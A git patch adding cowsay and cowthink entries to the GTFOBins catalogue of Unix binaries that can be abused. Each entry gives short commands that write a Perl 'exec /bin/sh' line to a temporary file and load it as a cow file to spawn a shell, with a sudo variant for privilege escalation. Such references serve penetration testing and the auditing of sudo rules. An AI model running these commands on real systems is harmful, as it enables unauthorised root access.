From cbfec71fa5afc1463dcf00a8d04c74e9261fdb90 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 12 Nov 2020 01:00:12 +0100 Subject: [PATCH] Add cowsay and cowthink --- _gtfobins/cowsay.md | 14 ++++++++++++++ _gtfobins/cowthink.md | 14 ++++++++++++++ 2 files changed, 28 insertions(+) create mode 100644 _gtfobins/cowsay.md create mode 100644 _gtfobins/cowthink.md diff --git a/_gtfobins/cowsay.md b/_gtfobins/cowsay.md new file mode 100644 index 0000000..d2ff0ed --- /dev/null +++ b/_gtfobins/cowsay.md @@ -0,0 +1,14 @@ +--- +description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply. +functions: + shell: + - code: | + TF=$(mktemp) + echo 'exec "/bin/sh";' >$TF + cowsay -f $TF x + sudo: + - code: | + TF=$(mktemp) + echo 'exec "/bin/sh";' >$TF + sudo cowsay -f $TF x +--- diff --git a/_gtfobins/cowthink.md b/_gtfobins/cowthink.md new file mode 100644 index 0000000..8e40009 --- /dev/null +++ b/_gtfobins/cowthink.md @@ -0,0 +1,14 @@ +--- +description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply. +functions: + shell: + - code: | + TF=$(mktemp) + echo 'exec "/bin/sh";' >$TF + cowthink -f $TF x + sudo: + - code: | + TF=$(mktemp) + echo 'exec "/bin/sh";' >$TF + sudo cowthink -f $TF x +---